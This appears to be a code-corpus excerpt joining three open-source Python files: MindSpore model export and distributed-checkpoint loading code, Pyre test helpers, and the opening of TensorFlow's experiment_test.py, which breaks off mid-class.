net (Cell): MindSpore network.
inputs (Tensor): Inputs of the `net`, if the network has multiple inputs, incoming tuple(Tensor).
file_name (str): File name of the model to be exported.
file_format (str): MindSpore currently supports 'AIR', 'ONNX' and 'MINDIR' format for exported model.
- AIR: Ascend Intermediate Representation. An intermediate representation format of Ascend model.
Recommended suffix for output file is '.air'.
- ONNX: Open Neural Network eXchange. An open format built to represent machine learning models.
Recommended suffix for output file is '.onnx'.
- MINDIR: MindSpore Native Intermediate Representation for Anf. An intermediate representation format
for MindSpore models.
Recommended suffix for output file is '.mindir'.
kwargs (dict): Configuration options dictionary.
- quant_mode (str): If the network is quantization aware training network, the quant_mode should
be set to "QUANT", else the quant_mode should be set to "NONQUANT".
- mean (float): The mean of input data after preprocessing, used for quantizing the first layer of network.
Default: 127.5.
- std_dev (float): The variance of input data after preprocessing,
used for quantizing the first layer of network. Default: 127.5.
- enc_key (str): Byte type key used for encryption. Tha valid length is 16, 24, or 32.
- enc_mode (str): Specifies the encryption mode, take effect when enc_key is set.
Option: 'AES-GCM' | 'AES-CBC'. Default: 'AES-GCM'.
Examples:
>>> import numpy as np
>>> from mindspore import export, Tensor
>>>
>>> net = LeNet()
>>> input = Tensor(np.ones([1, 1, 32, 32]).astype(np.float32))
>>> export(net, Tensor(input), file_name='lenet', file_format='MINDIR')
"""
logger.info("exporting model file:%s format:%s.", file_name, file_format)
check_input_data(*inputs, data_class=Tensor)
if not isinstance(file_name, str):
raise ValueError("Args file_name {} must be string, please check it".format(file_name))
Validator.check_file_name_by_regular(file_name)
net = _quant_export(net, *inputs, file_format=file_format, **kwargs)
if 'enc_key' in kwargs.keys():
if file_format != 'MINDIR':
raise ValueError(f"enc_key can be passed in only when file_format=='MINDIR', but got {file_format}")
enc_key = Validator.check_isinstance('enc_key', kwargs['enc_key'], bytes)
enc_mode = 'AES-GCM'
if 'enc_mode' in kwargs.keys():
enc_mode = Validator.check_isinstance('enc_mode', kwargs['enc_mode'], str)
_export(net, file_name, file_format, *inputs, enc_key=enc_key, enc_mode=enc_mode)
else:
_export(net, file_name, file_format, *inputs)
def _export(net, file_name, file_format, *inputs, **kwargs):
"""
It is an internal conversion function. Export the MindSpore prediction model to a file in the specified format.
"""
logger.info("exporting model file:%s format:%s.", file_name, file_format)
check_input_data(*inputs, data_class=Tensor)
if file_format == 'GEIR':
logger.warning(f"Format 'GEIR' is deprecated, it would be removed in future release, use 'AIR' instead.")
file_format = 'AIR'
supported_formats = ['AIR', 'ONNX', 'MINDIR']
if file_format not in supported_formats:
raise ValueError(f'Illegal file format {file_format}, it must be one of {supported_formats}')
# When dumping ONNX file, switch network mode to infer when it is training(NOTE: ONNX only designed for prediction)
is_dump_onnx_in_training = net.training and file_format == 'ONNX'
if is_dump_onnx_in_training:
net.set_train(mode=False)
if file_format == 'AIR':
phase_name = 'export.air'
graph_id, _ = _executor.compile(net, *inputs, phase=phase_name)
if not file_name.endswith('.air'):
file_name += ".air"
if os.path.exists(file_name):
os.chmod(file_name, stat.S_IWUSR)
if "/" in file_name:
real_path = os.path.realpath(file_name[:file_name.rfind("/")])
os.makedirs(real_path, exist_ok=True)
_executor.export(file_name, graph_id)
os.chmod(file_name, stat.S_IRUSR)
elif file_format == 'ONNX':
total_size = _calculation_net_size(net)
if total_size > PROTO_LIMIT_SIZE:
raise RuntimeError('Export onnx model failed. Network size is: {}G, it exceeded the protobuf: {}G limit.'
.format(total_size/1024/1024, PROTO_LIMIT_SIZE/1024/1024))
phase_name = 'export.onnx'
graph_id, _ = _executor.compile(net, *inputs, phase=phase_name, do_convert=False)
onnx_stream = _executor._get_func_graph_proto(net, graph_id)
if not file_name.endswith('.onnx'):
file_name += ".onnx"
if os.path.exists(file_name):
os.chmod(file_name, stat.S_IWUSR)
with open(file_name, 'wb') as f:
f.write(onnx_stream)
os.chmod(file_name, stat.S_IRUSR)
elif file_format == 'MINDIR':
_save_mindir(net, file_name, *inputs, **kwargs)
if is_dump_onnx_in_training:
net.set_train(mode=True)
def _save_mindir(net, file_name, *inputs, **kwargs):
"""Save MindIR format file."""
model = mindir_model()
phase_name = "predict" if net._auto_parallel_mode else "export.mindir"
graph_id, _ = _executor.compile(net, *inputs, phase=phase_name,
do_convert=False, auto_parallel_mode=net._auto_parallel_mode)
mindir_stream = _executor._get_func_graph_proto(net, graph_id, 'mind_ir')
net_dict = net.parameters_dict()
model.ParseFromString(mindir_stream)
save_together = _save_together(net_dict, model)
is_encrypt = lambda: 'enc_key' in kwargs.keys() and 'enc_mode' in kwargs.keys()
if save_together:
_save_mindir_together(net_dict, model, file_name, is_encrypt, **kwargs)
else:
logger.warning("Parameters in the net capacity exceeds 1G, save MindIR model and parameters separately.")
# save parameter
file_prefix = file_name.split("/")[-1]
if file_prefix.endswith(".mindir"):
file_prefix = file_prefix[:-7]
current_path = os.path.abspath(file_name)
dirname = os.path.dirname(current_path)
data_path = os.path.join(dirname, file_prefix + "_variables")
if os.path.exists(data_path):
shutil.rmtree(data_path)
os.makedirs(data_path, exist_ok=True)
os.chmod(data_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)
index = 0
graphproto = graph_proto()
data_size = 0
for name, param in net_dict.items():
for param_proto in model.graph.parameter:
if name == param_proto.name[param_proto.name.find(":") + 1:]:
parameter = graphproto.parameter.add()
parameter.name = param_proto.name
parameter.data_type = param_proto.data_type
for dim in param_proto.dims:
parameter.dims.append(dim)
byte_data = param.data.asnumpy().tobytes()
parameter.raw_data = byte_data
data_size += sys.getsizeof(byte_data) / 1024
break
if data_size > TOTAL_SAVE:
data_file_name = os.path.join(data_path, "data_" + str(index))
if os.path.exists(data_file_name):
os.chmod(data_file_name, stat.S_IWUSR)
with open(data_file_name, "ab") as f:
os.chmod(data_file_name, stat.S_IRUSR | stat.S_IWUSR)
graph_string = graphproto.SerializeToString()
if is_encrypt():
graph_string = _encrypt(graph_string, len(graph_string), kwargs['enc_key'],
len(kwargs['enc_key']), kwargs['enc_mode'])
f.write(graph_string)
os.chmod(data_file_name, stat.S_IRUSR)
index += 1
data_size = 0
del graphproto.parameter[:]
if graphproto.parameter:
data_file_name = os.path.join(data_path, "data_" + str(index))
if os.path.exists(data_file_name):
os.chmod(data_file_name, stat.S_IWUSR)
with open(data_file_name, "ab") as f:
os.chmod(data_file_name, stat.S_IRUSR | stat.S_IWUSR)
graph_string = graphproto.SerializeToString()
if is_encrypt():
graph_string = _encrypt(graph_string, len(graph_string), kwargs['enc_key'], len(kwargs['enc_key']),
kwargs['enc_mode'])
f.write(graph_string)
os.chmod(data_file_name, stat.S_IRUSR)
# save graph
del model.graph.parameter[:]
graph_file_name = os.path.join(dirname, file_prefix + "_graph.mindir")
if os.path.exists(graph_file_name):
os.chmod(graph_file_name, stat.S_IWUSR)
with open(graph_file_name, 'wb') as f:
os.chmod(graph_file_name, stat.S_IRUSR | stat.S_IWUSR)
model_string = model.SerializeToString()
if is_encrypt():
model_string = _encrypt(model_string, len(model_string), kwargs['enc_key'], len(kwargs['enc_key']),
kwargs['enc_mode'])
f.write(model_string)
os.chmod(graph_file_name, stat.S_IRUSR)
def _save_mindir_together(net_dict, model, file_name, is_encrypt, **kwargs):
"""Save graph and parameter together."""
for param_proto in model.graph.parameter:
param_name = param_proto.name[param_proto.name.find(":") + 1:]
if param_name in net_dict.keys():
param_data = net_dict[param_name].data.asnumpy().tobytes()
param_proto.raw_data = param_data
else:
logger.error("The parameter %s in the graph are not in the network.", param_name)
raise ValueError("The parameter in the graph must in the network.")
if not file_name.endswith('.mindir'):
file_name += ".mindir"
current_path = os.path.abspath(file_name)
dirname = os.path.dirname(current_path)
os.makedirs(dirname, exist_ok=True)
if os.path.exists(file_name):
os.chmod(file_name, stat.S_IWUSR)
with open(file_name, 'wb') as f:
os.chmod(file_name, stat.S_IRUSR | stat.S_IWUSR)
model_string = model.SerializeToString()
if is_encrypt():
model_string = _encrypt(model_string, len(model_string), kwargs['enc_key'], len(kwargs['enc_key']),
kwargs['enc_mode'])
f.write(model_string)
os.chmod(file_name, stat.S_IRUSR)
def _save_together(net_dict, model):
"""Whether graph and parameter save together during save mindir model."""
data_total = 0
for param_proto in model.graph.parameter:
name = param_proto.name[param_proto.name.find(":") + 1:]
if name in net_dict.keys():
data_total += sys.getsizeof(net_dict[name].data.asnumpy().tobytes()) / 1024
else:
raise RuntimeError('Graph parameter: {} Undefined in network.'.format(param_proto.name))
if data_total > TOTAL_SAVE:
return False
return True
def quant_mode_manage(func):
"""
Inherit the quant_mode in old version.
"""
def warpper(network, *inputs, file_format, **kwargs):
if 'quant_mode' not in kwargs:
return network
quant_mode = kwargs['quant_mode']
if not isinstance(quant_mode, str):
raise TypeError("The type of quant_mode should be str, but got {}.".format(type(quant_mode)))
if quant_mode in ('AUTO', 'MANUAL'):
kwargs['quant_mode'] = 'QUANT'
return func(network, *inputs, file_format=file_format, **kwargs)
return warpper
@quant_mode_manage
def _quant_export(network, *inputs, file_format, **kwargs):
"""
Exports MindSpore quantization predict model to deploy with AIR and MINDIR.
"""
supported_device = ["Ascend", "GPU"]
supported_formats = ['AIR', 'MINDIR']
quant_mode_formats = ['QUANT', 'NONQUANT']
quant_mode = kwargs['quant_mode']
if quant_mode not in quant_mode_formats:
raise KeyError(f'Quant_mode input is wrong, Please choose the right mode of the quant_mode.')
if quant_mode == 'NONQUANT':
return network
quant_net = copy.deepcopy(network)
quant_net._create_time = int(time.time() * 1e9)
mean = 127.5 if kwargs.get('mean', None) is None else kwargs['mean']
std_dev = 127.5 if kwargs.get('std_dev', None) is None else kwargs['std_dev']
mean = Validator.check_value_type("mean", mean, (int, float))
std_dev = Validator.check_value_type("std_dev", std_dev, (int, float))
if context.get_context('device_target') not in supported_device:
raise KeyError("Unsupported {} device target.".format(context.get_context('device_target')))
if file_format not in supported_formats:
raise ValueError('Illegal file format {}.'.format(file_format))
quant_net.set_train(False)
if file_format == "MINDIR":
exporter = quant_export.ExportToQuantInferNetwork(quant_net, mean, std_dev, *inputs, is_mindir=True)
else:
exporter = quant_export.ExportToQuantInferNetwork(quant_net, mean, std_dev, *inputs)
deploy_net = exporter.run()
return deploy_net
def parse_print(print_file_name):
"""
Loads Print data from a specified file.
Args:
print_file_name (str): The file name of saved print data.
Returns:
List, element of list is Tensor.
Raises:
ValueError: The print file may be empty, please make sure enter the correct file name.
"""
print_file_path = os.path.realpath(print_file_name)
if os.path.getsize(print_file_path) == 0:
raise ValueError("The print file may be empty, please make sure enter the correct file name.")
logger.info("Execute load print process.")
print_list = Print()
try:
with open(print_file_path, "rb") as f:
pb_content = f.read()
print_list.ParseFromString(pb_content)
except BaseException as e:
logger.error("Failed to read the print file %s, please check the correct of the file.", print_file_name)
raise ValueError(e.__str__())
tensor_list = []
try:
for print_ in print_list.value:
# String type
if print_.HasField("desc"):
tensor_list.append(print_.desc)
elif print_.HasField("tensor"):
dims = print_.tensor.dims
data_type = print_.tensor.tensor_type
data = print_.tensor.tensor_content
np_type = tensor_to_np_type[data_type]
param_data = np.fromstring(data, np_type)
ms_type = tensor_to_ms_type[data_type]
if dims and dims != [0]:
param_value = param_data.reshape(dims)
tensor_list.append(Tensor(param_value, ms_type))
# Scalar type
else:
data_type_ = data_type.lower()
if 'float' in data_type_:
param_data = float(param_data[0])
elif 'int' in data_type_:
param_data = int(param_data[0])
elif 'bool' in data_type_:
param_data = bool(param_data[0])
tensor_list.append(Tensor(param_data, ms_type))
except BaseException as e:
logger.error("Failed to load the print file %s.", print_list)
raise RuntimeError(e.__str__())
return tensor_list
def _merge_param_with_strategy(sliced_data, parameter_name, strategy, is_even):
"""
Merge data slices to one tensor with whole data when strategy is not None.
Args:
sliced_data (list[numpy.ndarray]): Data slices in order of rank_id.
parameter_name (str): Name of parameter.
strategy (dict): Parameter slice strategy.
is_even (bool): Slice manner that True represents slicing evenly and False represents slicing unevenly.
Returns:
Tensor, the merged Tensor which has the whole data.
Raises:
ValueError: Failed to merge.
"""
layout = strategy.get(parameter_name)
try:
dev_mat = list(layout.dev_matrix[0].dim)
tensor_map = list(layout.tensor_map[0].dim)
param_split_shape = list(layout.param_split_shape[0].dim)
field_size = int(layout.field)
except BaseException as e:
raise ValueError(f"{e.__str__()}. Please make sure that strategy matches the node_strategy.proto.")
device_count = 1
for dim in dev_mat:
device_count *= dim
if len(sliced_data) != device_count:
raise ValueError(f"The sliced_parameters length should be equal to device_count. "
f"the sliced_parameters length is {len(sliced_data)} but device_count is {device_count}.")
if not param_split_shape:
if not is_even:
raise ValueError("The shape of every parameter in sliced_parameters should be the same "
"when slice manner is even.")
all_gather_tensor = Tensor(np.concatenate(sliced_data))
if field_size > 0:
from mindspore.parallel._tensor import _reshape_param_data_with_weight
merged_tensor = _reshape_param_data_with_weight(all_gather_tensor, dev_mat, field_size)
else:
from mindspore.parallel._tensor import _reshape_param_data
merged_tensor = _reshape_param_data(all_gather_tensor, dev_mat, tensor_map)
else:
tensor_strategy = _get_tensor_strategy(dev_mat, tensor_map)
slice_count = 1
for dim in tensor_strategy:
slice_count *= dim
if len(param_split_shape) != slice_count:
raise ValueError(f"The param_split_shape length in strategy should be {slice_count}, "
f"but got {len(param_split_shape)}.")
tensor_slices_new = list(range(slice_count))
tensor_slices = sliced_data
for i in range(device_count):
slice_index = int(_get_tensor_slice_index(dev_mat, tensor_strategy, tensor_map, i))
if tensor_slices[i].shape[0] != param_split_shape[slice_index]:
raise ValueError(f"The slice {slice_index} is {param_split_shape[slice_index]} in 0 axis, "
f"but got {tensor_slices[i].shape[0]}.")
tensor_slices_new[slice_index] = np.array(tensor_slices[i])
dim_len = len(tensor_strategy)
for i in range(dim_len):
ele_count = int(len(tensor_slices_new) / tensor_strategy[dim_len - 1 - i])
tensor_slices_new_inner = []
for j in range(ele_count):
new_tensor = tensor_slices_new[j * tensor_strategy[dim_len - 1 - i]]
for l in range(j * tensor_strategy[dim_len - 1 - i] + 1,
(j + 1) * tensor_strategy[dim_len - 1 - i]):
new_tensor = np.concatenate((new_tensor, tensor_slices_new[l]), axis=dim_len - 1 - i)
tensor_slices_new_inner.insert(len(tensor_slices_new_inner), np.array(new_tensor))
tensor_slices_new = tensor_slices_new_inner
merged_tensor = Tensor(tensor_slices_new[0])
return merged_tensor
def build_searched_strategy(strategy_filename):
"""
Build strategy of every parameter in network.
Args:
strategy_filename (str): Name of strategy file.
Returns:
Dict, whose key is parameter name and value is slice strategy of this parameter.
Raises:
ValueError: Strategy file is incorrect.
TypeError: strategy_filename is not str.
"""
if not isinstance(strategy_filename, str):
raise TypeError(f"The strategy_filename should be str, but got {type(strategy_filename)}.")
if not os.path.isfile(strategy_filename):
raise ValueError(f"No such strategy file: {strategy_filename}.")
if os.path.getsize(strategy_filename) == 0:
raise ValueError("The strategy file should not be empty.")
parallel_strategy_map = ParallelStrategyMap()
with open(strategy_filename, 'rb') as f:
pb_content = f.read()
parallel_strategy_map.ParseFromString(pb_content)
layout_items = parallel_strategy_map.parallel_layout_item
if not layout_items:
raise ValueError("The strategy file has no sliced parameter.")
strategy = {}
for layout_item in layout_items:
parameter_name = layout_item.param_name
layout = layout_item.parallel_layouts
strategy[parameter_name] = layout
return strategy
def merge_sliced_parameter(sliced_parameters, strategy=None):
"""
Merge parameter slices to one whole parameter.
Args:
sliced_parameters (list[Parameter]): Parameter slices in order of rank_id.
strategy (Optional[dict]): Parameter slice strategy, whose key is parameter name and
value is slice strategy of this parameter. If strategy is None, just merge
parameter slices in 0 axis order. Default: None.
Returns:
Parameter, the merged parameter which has the whole data.
Raises:
ValueError: Failed to merge.
TypeError: The sliced_parameters is incorrect or strategy is not dict.
KeyError: The parameter name is not in keys of strategy.
Examples:
>>> import numpy as np
>>> from mindspore import Tensor
>>> from mindspore.common.parameter import Parameter
>>> from mindspore.train import merge_sliced_parameter
>>>
>>> sliced_parameters = [
... Parameter(Tensor(np.array([0.00023915, 0.00013939, -0.00098059])),
... "network.embedding_table"),
... Parameter(Tensor(np.array([0.00015815, 0.00015458, -0.00012125])),
... "network.embedding_table"),
... Parameter(Tensor(np.array([0.00042165, 0.00029692, -0.00007941])),
... "network.embedding_table"),
... Parameter(Tensor(np.array([0.00084451, 0.00089960, -0.00010431])),
... "network.embedding_table")]
>>> merged_parameter = merge_sliced_parameter(sliced_parameters)
>>> print(merged_parameter)
Parameter (name=network.embedding_table, shape=(12,), dtype=Float64, requires_grad=True)
"""
if not isinstance(sliced_parameters, list):
raise TypeError(f"The sliced_parameters should be list, but got {type(sliced_parameters)}.")
if not sliced_parameters:
raise ValueError("The sliced_parameters should not be empty.")
if strategy and not isinstance(strategy, dict):
raise TypeError(f"The strategy should be dict, but got {type(strategy)}.")
try:
parameter_name = sliced_parameters[0].name
parameter_shape = sliced_parameters[0].data.shape
parameter_shape_length = len(parameter_shape)
except BaseException as e:
raise TypeError(f"{e.__str__()}. the element in sliced_parameters should be Parameter.")
is_even = True
for index, parameter in enumerate(sliced_parameters):
if not isinstance(parameter, Parameter):
raise TypeError(f"The element in sliced_parameters should be Parameter, "
f"but got {type(parameter)} at index {index}.")
if parameter.name != parameter_name \
or len(parameter.data.shape) != parameter_shape_length \
or parameter.data.shape[1:] != parameter_shape[1:]:
raise ValueError("Please make sure that the elements in slice_parameters have the same name, "
"dimension length and shape except 0 axis")
if parameter.data.shape != parameter_shape:
is_even = False
layerwise_parallel = sliced_parameters[0].layerwise_parallel
requires_grad = sliced_parameters[0].requires_grad
sliced_data = [parameter.data.asnumpy() for parameter in sliced_parameters]
if not strategy:
merged_tensor = Tensor(np.concatenate(sliced_data))
merged_parameter = Parameter(merged_tensor, parameter_name, requires_grad, layerwise_parallel)
else:
if parameter_name not in strategy.keys():
raise KeyError(f"The parameter name should be one key of strategy. "
f"the parameter name is {parameter_name}.")
merged_tensor = _merge_param_with_strategy(sliced_data, parameter_name, strategy, is_even)
merged_parameter = Parameter(merged_tensor, parameter_name, requires_grad, layerwise_parallel)
return merged_parameter
def load_distributed_checkpoint(network, checkpoint_filenames, predict_strategy=None,
train_strategy_filename=None, dec_key=None, dec_mode='AES-GCM'):
"""
Load checkpoint into net for distributed predication.
Args:
network (Cell): Network for distributed predication.
checkpoint_filenames (list[str]): The name of Checkpoint files in order of rank id.
predict_strategy (dict): Strategy of predication process, whose key is parameter name, and value is a list or
a tuple that the first four elements are [dev_matrix, tensor_map, param_split_shape, field]. If None,
it means that the predication process just uses single device. Default: None.
train_strategy_filename (str): Train strategy proto file name. Default: None.
dec_key (Union[None, bytes]): Byte type key used for decryption. If the value is None, the decryption
is not required. Default: None.
dec_mode (str): This parameter is valid only when dec_key is not set to None. Specifies the decryption
mode, currently supports 'AES-GCM' and 'AES-CBC'. Default: 'AES-GCM'.
Raises:
TypeError: The type of inputs do not match the requirements.
ValueError: Failed to load checkpoint into net.
"""
network = Validator.check_isinstance("network", network, nn.Cell)
_check_checkpoint_file(checkpoint_filenames)
_check_predict_strategy(predict_strategy)
dec_key = Validator.check_isinstance('dec_key', dec_key, (type(None), bytes))
dec_mode = Validator.check_isinstance('dec_mode', dec_mode, str)
if train_strategy_filename is None:
train_strategy_filename = context.get_auto_parallel_context("strategy_ckpt_load_file")
_train_strategy = build_searched_strategy(train_strategy_filename)
train_strategy = _convert_to_list(_train_strategy)
train_dev_count = 1
ckpt_file_len = len(checkpoint_filenames)
for dim in train_strategy[list(train_strategy.keys())[0]][0]:
train_dev_count *= dim
if train_dev_count != ckpt_file_len:
raise ValueError(
f"The length of checkpoint_filenames should be equal to the device count of training process. "
f"The length is {ckpt_file_len} but the device count is {train_dev_count}.")
rank_list = _infer_rank_list(train_strategy, predict_strategy)
param_total_dict = defaultdict(dict)
for file_index, file_name in enumerate(checkpoint_filenames):
ckpt_dict = load_checkpoint(file_name, dec_key=dec_key, dec_mode=dec_mode)
for param_name, param in ckpt_dict.items():
param_total_dict[param_name][file_index] = param
param_dict = {}
param_not_in_strategy = []
param_not_in_ckpt = []
for _, param in network.parameters_and_names():
sliced_params = []
if param.name not in rank_list.keys():
param_not_in_strategy.append(param.name)
continue
if param.name not in param_total_dict:
param_not_in_ckpt.append(param.name)
continue
param_rank = rank_list[param.name][0]
skip_merge_split = rank_list[param.name][1]
shard_stride = train_strategy[param.name][4]
if train_strategy[param.name][5]:
shard_size = ckpt_file_len / shard_stride / train_strategy[param.name][5]
else:
shard_size = 0
for rank in param_rank:
param_total_list = list(range(0, ckpt_file_len))
if shard_size > 0:
shard_total_list = [param_total_list[i:i + shard_size] for i in
range(0, ckpt_file_len, shard_size)]
param_total_list = shard_total_list[rank // shard_size]
if shard_stride > 0:
param_stride = []
# merge pre parameter
param_index = param_total_list[0:param_total_list.index(rank) + 1][::-1][::shard_stride]
param_index.extend(param_total_list[param_total_list.index(rank):][::shard_stride])
param_index = list(set(param_index))
param_index.sort()
for rank_num in param_index:
param_stride.append(param_total_dict[param.name][rank_num].data.asnumpy())
sliced_param = Parameter(Tensor(np.concatenate(param_stride)), name=param.name)
else:
sliced_param = param_total_dict[param.name][rank]
sliced_params.append(sliced_param)
if skip_merge_split:
split_param = sliced_params[0]
else:
param_unique_strategy = _remove_repeated_slices(train_strategy[param.name])
_param_unique_strategy = _convert_to_layout(param.name, param_unique_strategy)
split_param = _merge_and_split(sliced_params, _param_unique_strategy, predict_strategy)
opt_shard_group = predict_strategy[param.name][5] if predict_strategy else None
if opt_shard_group:
data = split_param.data.asnumpy()
rank = get_rank(opt_shard_group)
size = get_group_size(opt_shard_group)
try:
data_slice = np.split(data, size)[rank]
except BaseException as e:
logger.error("Failed to load opt shard slice in load distributed checkpoint for {}. Data shape is {}"
" and group is {}".format(param.name, split_param.data.shape, opt_shard_group))
raise RuntimeError(e.__str__())
split_param = Parameter(Tensor(data_slice), param.name,
split_param.requires_grad, split_param.layerwise_parallel)
param_dict[param.name] = split_param
if param_not_in_strategy:
logger.warning("{} parameters in network are not in the sclice strategy.".format(param_not_in_strategy))
if param_not_in_ckpt:
logger.warning("{} parameters in sclice strategy but not in the checkpoint file.".format(param_not_in_ckpt))
load_param_into_net(network, param_dict)
def async_ckpt_thread_status():
"""
Get async save checkpoint thread status.
Returns:
True, Asynchronous save checkpoint thread is running.
False, Asynchronous save checkpoint thread is not executing.
"""
thr_list = threading.enumerate()
return True in [ele.getName() == "asyn_save_ckpt" for ele in thr_list]
def _check_predict_strategy(predict_strategy):
"""Check predict strategy."""
def _check_int_list(arg):
if not isinstance(arg, list):
return False
for item in arg:
if not isinstance(item, int):
return False
return True
if predict_strategy is None:
return
flag = True
predict_strategy = Validator.check_isinstance("predict_strategy", predict_strategy, dict)
for key in predict_strategy.keys():
if not isinstance(key, str) or not isinstance(predict_strategy[key], (list, tuple)) \
or len(predict_strategy[key]) < 4:
flag = False
dev_matrix, tensor_map, param_split_shape, field_size = predict_strategy[key][:4]
if not _check_int_list(dev_matrix) or not _check_int_list(tensor_map) or \
not (_check_int_list(param_split_shape) or not param_split_shape) or \
not (isinstance(field_size, int) and field_size == 0):
flag = False
if not flag:
raise ValueError(f"Please make sure that the key of predict_strategy is str, "
f"and the value is a list or a tuple that the first four elements are "
f"dev_matrix (list[int]), tensor_map (list[int]), "
f"param_split_shape (list[int]) and field_size (zero).")
def _check_checkpoint_file(checkpoint_filenames):
"""Check checkpoint file name."""
for index, filename in enumerate(checkpoint_filenames):
if not isinstance(filename, str) or not os.path.exists(filename) \
or filename[-5:] != ".ckpt" or os.path.getsize(filename) == 0:
raise ValueError(f"Please make sure that the {filename} at index {index} is a valid checkpoint file.")
def _convert_to_list(strategy):
"""Convert ParallelLayouts object to specified list."""
train_map = {}
for param_name in strategy.keys():
try:
layout = strategy.get(param_name)
dev_mat = list(layout.dev_matrix[0].dim)
tensor_map = list(layout.tensor_map[0].dim)
param_split_shape = list(layout.param_split_shape[0].dim)
field_size = int(layout.field)
shard_stride = int(layout.opt_weight_shard_step)
shard_size = int(layout.opt_weight_shard_size)
train_map[param_name] = [dev_mat, tensor_map, param_split_shape, field_size, shard_stride, shard_size]
except BaseException as e:
raise ValueError(f"{e.__str__()}. Please make sure that strategy matches the node_strategy.proto.")
return train_map
def _convert_to_layout(param_name, tensor_layout):
"""Convert list to ParallelLayouts object."""
strategy = {}
try:
layout = ParallelLayouts()
layout.field = tensor_layout[3]
dev_matrix = layout.dev_matrix.add()
for item in tensor_layout[0]:
dev_matrix.dim.append(item)
tensor_map = layout.tensor_map.add()
for item in tensor_layout[1]:
tensor_map.dim.append(item)
param_split_shape = layout.param_split_shape.add()
for item in tensor_layout[2]:
param_split_shape.dim.append(item)
except BaseException as e:
raise ValueError("Convert failed. " + e.__str__())
strategy[param_name] = layout
return strategy
def _merge_and_split(sliced_params, train_strategy, predict_strategy):
"""Merge sliced parameter and split it according to the predict strategy."""
merged_param = merge_sliced_parameter(sliced_params, train_strategy)
if predict_strategy is None:
return merged_param
param_name = merged_param.name
tensor_layout = predict_strategy[param_name]
split_tensor = _load_tensor(merged_param.data, tensor_layout[0], tensor_layout[1])
requires_grad = merged_param.requires_grad
layerwise_parallel = merged_param.layerwise_parallel
split_param = Parameter(split_tensor, param_name, requires_grad, layerwise_parallel)
return split_param
def _calculation_net_size(net):
"""Calculate the size of parameters in the network."""
data_total = 0
net_dict = net.parameters_dict()
for name in net_dict:
data_total += sys.getsizeof(net_dict[name].data.asnumpy().tobytes()) / 1024
return data_total
|
setup.py | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import asyncio
import contextlib
import functools
import json
import os
import socketserver
import tempfile
import threading
from pathlib import Path
from typing import (
Any,
Awaitable,
Callable,
Generator,
Iterable,
Mapping,
Optional,
Type,
TypeVar,
)
from pyre_extensions import ParameterSpecification
from ..find_directories import CONFIGURATION_FILE, LOCAL_CONFIGURATION_FILE
TParams = ParameterSpecification("TParams")
T = TypeVar("T")
def ensure_files_exist(root: Path, relatives: Iterable[str]) -> None:
for relative in relatives:
full_path = root / relative
full_path.parent.mkdir(parents=True, exist_ok=True)
full_path.touch(exist_ok=True)
def ensure_directories_exists(root: Path, relatives: Iterable[str]) -> None:
for relative in relatives:
full_path = root / relative
full_path.mkdir(parents=True, exist_ok=True)
def write_configuration_file(
root: Path, content: Mapping[str, Any], relative: Optional[str] = None
) -> None:
if relative is None:
(root / CONFIGURATION_FILE).write_text(json.dumps(content))
else:
local_root = root / relative
local_root.mkdir(parents=True, exist_ok=True)
(local_root / LOCAL_CONFIGURATION_FILE).write_text(json.dumps(content))
@contextlib.contextmanager
def switch_working_directory(directory: Path) -> Generator[None, None, None]:
original_directory = Path(".").resolve()
try:
os.chdir(str(directory))
yield None
finally:
os.chdir(str(original_directory))
@contextlib.contextmanager
def switch_environment(environment: Mapping[str, str]) -> Generator[None, None, None]:
old_environment = dict(os.environ)
os.environ.clear()
os.environ.update(environment)
try:
yield
finally:
os.environ.clear()
os.environ.update(old_environment)
def async_test(func: Callable[TParams, Awaitable[T]]) -> Callable[TParams, T]:
"""
Simple Decorator to allow for asyncio test methods in a standard
`unittest.TestCase`.
"""
@functools.wraps(func)
def wrapper(*args: TParams.args, **kwargs: TParams.kwargs) -> T:
return asyncio.get_event_loop().run_until_complete(func(*args, **kwargs))
return wrapper
class TestServer(socketserver.ThreadingMixIn, socketserver.UnixStreamServer):
pass
@contextlib.contextmanager
def spawn_unix_stream_server(
handler: Type[socketserver.BaseRequestHandler],
) -> Generator[Path, None, None]:
with tempfile.TemporaryDirectory() as socket_root:
socket_path = Path(socket_root) / "test.socket"
# Spawn a test server on another thread
server = TestServer(str(socket_path), handler)
server_thread = threading.Thread(target=server.serve_forever)
try:
server_thread.start()
yield socket_path
finally:
# Shutdown the server and terminate the test
server.shutdown()
server.server_close()
server_thread.join()
|
experiment_test.py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for TaskRunner and Experiment class."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import json
import os
import sys
import tempfile
import threading
# TODO: #6568 Remove this hack that makes dlopen() not crash.
if hasattr(sys, 'getdlopenflags') and hasattr(sys, 'setdlopenflags'):
import ctypes
sys.setdlopenflags(sys.getdlopenflags() | ctypes.RTLD_GLOBAL)
from tensorflow.contrib.learn.python.learn import evaluable
from tensorflow.contrib.learn.python.learn import experiment
from tensorflow.contrib.learn.python.learn import monitors
from tensorflow.contrib.learn.python.learn import run_config
from tensorflow.contrib.learn.python.learn import trainable
from tensorflow.contrib.learn.python.learn.estimators import run_config as run_config_lib
from tensorflow.contrib.learn.python.learn.utils import saved_model_export_utils
from tensorflow.core.protobuf import config_pb2
from tensorflow.python.client import session
from tensorflow.python.ops import variables
from tensorflow.python.platform import test
from tensorflow.python.platform import tf_logging
from tensorflow.python.training import saver
from tensorflow.python.training import server_lib
from tensorflow.python.training import session_run_hook
from tensorflow.python.util import compat
from tensorflow.python.util.all_util import reveal_undocumented
class SheepCounter(object):
"""To be patched in for time.sleep, in order to capture how long was slept."""
def __init__(self):
self._total_time = 0
self._sleeptimes = []
def __call__(self, t):
self._total_time += t
self._sleeptimes += [t]
@property
def total_time(self):
return self._total_time
@property
def sleep_times(self):
return self._sleeptimes
class TestEstimator(evaluable.Evaluable, trainable.Trainable):
def __init__(self, config=None, max_evals=5):
self.eval_count = 0
self.fit_count = 0
self._max_evals = max_evals
self.export_count = 0
self.monitors = []
